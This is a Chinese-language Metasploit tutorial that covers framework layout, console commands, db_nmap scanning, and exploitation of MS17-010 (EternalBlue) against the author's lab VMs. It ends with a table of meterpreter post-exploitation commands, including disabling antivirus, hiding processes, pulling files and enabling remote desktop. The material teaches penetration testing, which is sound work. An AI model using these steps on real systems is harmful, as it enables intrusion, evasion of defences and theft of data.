metasploit怎么用? 基础(auxiliary、exploits、meterpreter)篇 (゚益゚メ) 渗透测试
文章目录
- metasplit框架
- msf结构介绍
- 进入msf
- msf常用基础命令
- 进入、管理工作台
- 搜索功能
- 信息收集
- 简单使用(测试漏洞为`ms17_010`)
- 辅助模块使用(`auxiliary`)
- 漏洞利用模块(`exploits`)
- 后渗透模块(`meterpreter`)
metasplit框架
下面metasplit-framework
我都会简称为msf
,如果使用的是Windows系统,有三种方式可以使用msf
- 使用wsl的kali中的msf: 在wsl中安装kali完整版后即可直接使用msf,但wsl的kali因为有些比较底层的命令(添加开机自启服务)导致数据库无法自动启动,需要进行手动启动,如果你想要使用wsl中的msf可以参考我的博客。当前wsl中使用msf会经常碰到各种报错,所以不是很建议使用。
- 使用Windows版本的msf: 可以在官网中直接下载安装,添加环境变量后即可使用。但Windows版本中msf配置起来有很多问题,比如我在安装的时候,安装路径就无法改变,无论我选择什么路径,总是默认到我的E盘中,而且还一个很重要的问题就是Windows版本的msf一直存在数据库很难连接的问题,这个问题我也没有解决方案。如果你有一个比较好的解决方案可以在下方的评论区分享。Windows版本官方下载地址: (https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers)PostgreSQL下载地址: https://www.enterprisedb.com/downloads/postgres-postgresql-downloads
- 当前对于新手最友好的方案是使用虚拟机中安装的kali带的msf,不会碰到各种稀奇古怪的错误。
msf结构介绍
kali中,msf会默认存储在如下地址中
/usr/share/metasploit-framework
早期版本也可能存在/opt/metasploit-framework/embedded/framework/
目录中。
msf常用目录 | 介绍 |
---|---|
data
|
包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。 |
documentation
|
包含框架的可用文档。 |
lib
|
metasploit的库文件夹。 |
plugins
|
用来存放metasploit的插件。 |
scripts
|
用来存放metasploit的脚本,包括meterpreter及其它脚本。 |
tools
|
存放多种的命令行实用程序。 |
modules
|
存储metasploit的模块文件。 |
modules目录文件 | 介绍 |
---|---|
auxiliary
|
辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等) |
exploits
|
漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类 |
payloads
|
攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码 |
post
|
后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等 |
encoders
|
编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统 |
evasion
|
躲避模块,用来生成免杀payload |
nops
|
空操作模块, 由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPS x90x90…)则会因为被拦截而导致攻击失效。 |
进入msf
如果是用的linux中的msf
,首先我们要初始化数据sudo msfdb init
,方便之后将一些收集的信息保存起来。
连接msf控制台msfconsole
首先我们可以看一下是否成功连接数据库db_status
如果没有连接数据库,接下来我们的操作大多数都基本是无效的。
msf常用基础命令
这些命令推荐后面再看,先看一下下面的使用,如果在其中看到不知道干什么的属性,再看这里我介绍的地方会比较好理解。
常用基础命令 | 作用 |
---|---|
use
|
类似cd命令,装载msf模块 |
workspace
|
msf控制台相关命令 |
host
|
查看扫描记录 |
db_nmap
|
nmap命令的msf版本,用法和nmap完全一致。 |
show 内容
|
查看所有指定模块(比如说show exploits :查找所有攻击模块,show payloads :查找所有攻击载荷等等,如果想看msf中所有的内容可以show all )
|
search 名称
|
查找msf指定的模块(攻击模块和其他模块都可以利用此命令查找)(比如说我们想查找永恒之蓝漏洞相关利用方法可以输入search ms17 )
|
init
|
(模块内使用) 查看模块具体信息 |
options
|
(模块内使用) 查看当前模块的常用配置项 |
advanced
|
(模块内使用) 查看当前模块的详细配置项 |
set 配置名 配置值
|
(模块内使用) 修改模块配置信息, 比如set rhost 192.168.1.1 将目标主机设置为192.168.13.1
|
unset 配置名
|
(模块内使用) 删除某个模块的配置信息 |
setg 配置名 配置值
|
(模块内使用) 这种配置和上述set类似,不同的是使用setg的设置会在全局生效(也有unsetg 配置名 )
|
run
|
(模块内使用) 启动模块 |
back
|
(模块内使用) 退出此模块 |
save
|
(模块内使用) 保存此模块的配置 |
sessions
|
进入指定的目标控制台中(当我们成功获取目标主机控制台权限时,目标主机的控制台我们就称为session),输入sessions我们就能看到我们当前有哪些能进入的控制台,输入sessions 序号 ,既可以进入对应的控制台,更多用法可以通过sessions -h 查看
|
background
|
(目标控制台内使用) 将目标控制台放入后台运行 |
进入、管理工作台
工作台workspace
是msf类似ide中新建项目的功能,每一个工作台都可以看成是一个独立的项目。其中默认有一个default工作台。
选项 | 作用 |
---|---|
workspace | 列出工作台列表,(如果没有手动建立,输出为*default) |
workspace -v | 列表工作台的详细信息 |
workspace [姓名] | 切换工作台 |
workspace -a [姓名] … | 添加工作台(可以一次添加多个工作台) |
workspace -d [姓名] … | 删除工作台(可以一次删除多个工作台) |
workspace -D | 删除所有工作台 |
workspace -r <旧名称> <新名称> | 给工作台重命名 |
workspace -h | 显示帮助信息 |
搜索功能
msf内置的模块太多了,为了方便我们能快速找到想要的模块,需要利用好搜索功能search [选项] [关键词:值]
搜索模块选项 | 作用 |
---|---|
search -h
|
显示帮助信息 |
search -o 文件名
|
以csv格式将输出发送到文件 |
search -S 正则表达式
|
使用正则表达式匹配搜索 |
search -u
|
如果搜索结果只有一个,那么直接使用此模块 |
关键词搜索 | 关键词作用 |
---|---|
aka
|
匹配具有指定别称的模块 |
author
|
寻找指定作者的模块 |
arch
|
影响此构架的模块 |
bid
|
寻找匹配Bugtraq ID的模块(BugTraq是一个完整的对计算机安全漏洞(它们是什么,怎样利用它们,以及怎样修补它们)的公告及具体论述进行适度披露的邮件列表) |
cve
|
寻找匹配cve ID的模块(公共漏洞和暴露:Common Vulnerabilities & Exposures),将漏洞进行的统一命名。 |
edb
|
具有匹配的ExploitDB ID的模块(ExploitDB 是一个面向全世界黑客的漏洞提交平台,该平台会公布最新漏洞的相关情况: https://www.exploit-db.com/) |
check
|
支持“check”方法的模块 |
date
|
寻找指定披露日期内的模块 |
description
|
寻找具有匹配描述的模块 |
fullname
|
寻找指定全名的模块(这里全名是必须一一对应的) |
name
|
寻找指定名称的模块(这里的名称可以是一部分名称) |
mod_time
|
寻找在指定日期修改的模块 |
path
|
寻找指定路径的模块 |
platform
|
影响指定平台的模块(Windows、Linux等) |
port
|
寻找在指定端口上会使用的模块 |
还可以使用一些属性搜索,比如我想搜索Windows平台2009年的漏洞,则可以使用:search platform:windows cve:2009 type:exploit
信息收集
msf内置了一个nmap模块,这个nmap和我们常规的nmap是一模一样的,只是将nmap缓存了db_namp
即可,使用msf的nmap扫描出来后会自动将我们的结果保存进入数据库,方便我们后续查看。
示例1:
db_nmap --script=vuln 192.168.3.5
这里我使用nmap扫描了一下目标主机(xp系统)是否存在常见漏洞,发现了永恒之蓝
# 使用nmap进行c端扫描
db_nmap 192.168.206.*
# 可以在hosts中查看扫描记录
hosts
使用msf内置的这些信息收集命令后,大部分信息会保存到工作台对应的数据库中,使用hosts就能查看。
简单使用(测试漏洞为ms17_010
)
辅助模块使用(auxiliary
)
在msf中,我们可以装载auxiliary/scanner/discovery/arp_sweep
模块,来扫描我们的靶机192.168.3.5
是否在线
# 装载模块
use auxiliary/scanner/discovery/arp_sweep
# 设置模块(这里设置了一下扫描目标)
set rhosts 192.168.3.5
# 将并发线程改为200,加快扫描速度
set threads 200
# 启动模块
run
如果启动失败则使用在msfconfig前加入sudo进行提权后在尝试
在装载auxiliary/scanner/smb/smb_ms17_010
模块,扫描目标主机是否有指定的漏洞存在。
# 装载模块
use auxiliary/scanner/smb/smb_ms17_010
# 设置模块(这里如果每个模块的目标都是一样的,我们可以用setg,这样之后在切换模块时,此配置会被保留下来)
set rhosts 192.168.3.1-10
run
如果成功扫描到目标,会有如下图所示的提示,如果你无法扫到靶机,尝试将防火墙关闭。(我在测试中发现我的一个xp靶机扫不出来,不知道是这个漏洞在xp不适用,还是xp靶机被打了补丁。)
漏洞利用模块(exploits
)
# 切换到ms17的漏洞利用模块
use exploit/windows/smb/ms17_010_psexec
# 小技巧, 使用show options,可以快速查看模块有哪些属性
show options
# 这里我将目标设置为我的Windows7(192.168.3.8)靶机
set rhosts 192.168.3.8
# 执行漏洞攻击
run
后渗透模块(meterpreter
)
Meterpreter是metasploit的后渗透利用工具。基于内存dll注入实现,能够通过创建一个新进程并调用注入的dll来让目标系统运行注入的dll文件,不需要产生木马文件即可实现。在该模式下,攻击者与目标设备中Meterpreter的通信是通过stager套接字实现的。
我们使用ms17_010这个漏洞直接可以获取对方的meterpreter
的权限,这算是一个比较高权限了,如果我们获取到了普通的控制台权限,进行一些操作的时候还需要提权。在meterpreter
中,我们可以输入一个问号?
来查看具体有哪些命令可供我们使用。
在meterpreter中使用shell
# 连接目标主机的控制台
shell
# 修改编码防止乱码
chcp 65001
很多常用命令行命令在meterpeter中都能使用,比如说(cd,ls,cat,rm.ipconfig,ifconfig等,下面主要介绍一些独有的常用命令)
meterpreter常用命令 | 作用 |
---|---|
bg
|
(background的缩写)将当前meterpreter放入后台 |
shell
|
启动目标主机控制台 |
quit
|
退出目标主机控制台 |
sysinfo
|
目标主机系统信息 |
screenshot
|
屏幕截取 |
download 目标文件地址 下载接收地址
|
下载目标文件 |
upload 目标存放地址 上传文件地址
|
上传文件 |
search 搜索文件名
|
搜索文件 (可以使用参数,比如search -d c: -f *.doc 是搜索c盘中所有的.doc文件)
|
execute 命令
|
执行命令(比如说execute -f cmd.exe -i 即为创建可交互(-i )cmd命令行 ),如果想隐藏进程,可以添加-H
|
getlwd
|
查看本地当前目录(msf运行的主机上当前正在使用的目录) |
lcd
|
切换本地目录 |
getwb
|
查看目标主机目录 |
cd
|
切换目标主机目录 |
ls
|
查看目标文件目录列表 |
rm
|
删除文件 |
ps
|
查看目标所有进程 |
getuid
|
查看目标主机当前用户 |
run killav
|
关闭杀毒软件 |
run getgui -e
|
启用远程桌面 |
portfwd add -l 要监听的本地端口 -p 要连接的远程端口 -r <目标IP>
|
添加端口转发 |
metasploit怎么用? 基础(auxiliary、exploits、meterpreter)篇 (゚益゚メ) 渗透测试相关推荐
- 视频教程-Kali Linux渗透测试基础入门到进阶实战全程课-渗透测试
Kali Linux渗透测试基础入门到进阶实战全程课 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥499.00 立即订阅 ...
- 渗透测试常用工具-使用meterpreter模块进行后渗透测试
使用meterpreter模块进行后渗透测试 第一步,打开网络拓扑,点击启动选项,启动实验虚拟机 第二步,使用ifconfig和ipconfig命令分别获取渗透机和靶机的IP地址,使用ping命令进行 ...
- [网络安全学习篇9]:渗透测试(千峰网络安全视频笔记 9 day)
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...
- 给大家分享一篇 Python:渗透测试开源项目「源码值得精读」
sql注入工具:sqlmap DNS安全监测:DNSRecon 暴力破解测试工具:patator XSS漏洞利用工具:XSSer Web服务器压力测试工具:HULK SSL安全扫描器:SSLyze 其 ...
- metasploit 一款开源的渗透测试框架
渗透神器漏洞利用框架metasploit from: https://zhuanlan.zhihu.com/p/30743401 metasploit是一款开源的渗透测试框架软件也是一个逐步发展与成熟 ...
- 《Metasploit渗透测试手册》目录—导读
版权声明 Metasploit渗透测试手册 Copyright © Packt Publishing 2012. First published in the English language und ...
- Metasploit渗透测试框架简介
Metasploit渗透测试框架介绍 Metasploit是一个免费的.可下载的框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施攻击.它本身附带数百个已知软件漏洞的专业级漏洞攻击工具.当H.D ...
- 《Metasploit 魔鬼训练营》04 Web 应用渗透测试
本文记录 Kali Linux 2017.1 学习使用 Metasploit 的详细过程 OWASP Web 漏洞 TOP 10 基于 Metasploit 框架的 Web 应用渗透技术 Web 应用 ...
- 黑客零基础入门教程《Python安全攻防:渗透测试实战指南》极致经典,学完即可包吃包住
前言 网络江湖,风起云涌,攻防博弈,从未间断,且愈演愈烈.从架构安全到被动纵深防御,再到主动防御.安全智能,直至进攻反制,皆直指安全的本质--攻防.未知攻,焉知防! 每一位网络安全从业者都有仗剑江湖的 ...
最新文章
- 原来女孩要的不是真爱,而是关爱...
- .net 面试题系列文章五(附答案)
- OpenStack的部署T版(五)——Nova组件
- python解析原理_代码详解:Python虚拟环境的原理及使用
- 前端学习(2158):webpack配置文件的分离
- HDFS源码解析:教你用HDFS客户端写数据
- Fragment中获取Activity的Context
- lightning接口_苹果、安卓充电接口有望统一,欧盟重压下,苹果将不得不妥协
- 永中集成Office:既是创新产品,也是战略储备
- 如何将两个PDF合并成一个?PDF合并方法
- java pdf查看_Java检查PDF文件是否损坏
- 动态添加element标签,数据操作
- 红黑联盟十周年 汇编语言系列教程
- 小学教资——教育教学口诀
- 七夕送什么礼物最实用?送人绝对不会出错的礼物值得买
- 【C语言】字符串、字符数组
- JAVA数独解题(四):数对法
- 魔改大西瓜源码下载之后画面显示只有一半的解决方法
- 测试开发工程师成长心路
- Drupal 模块开发基本教程(三)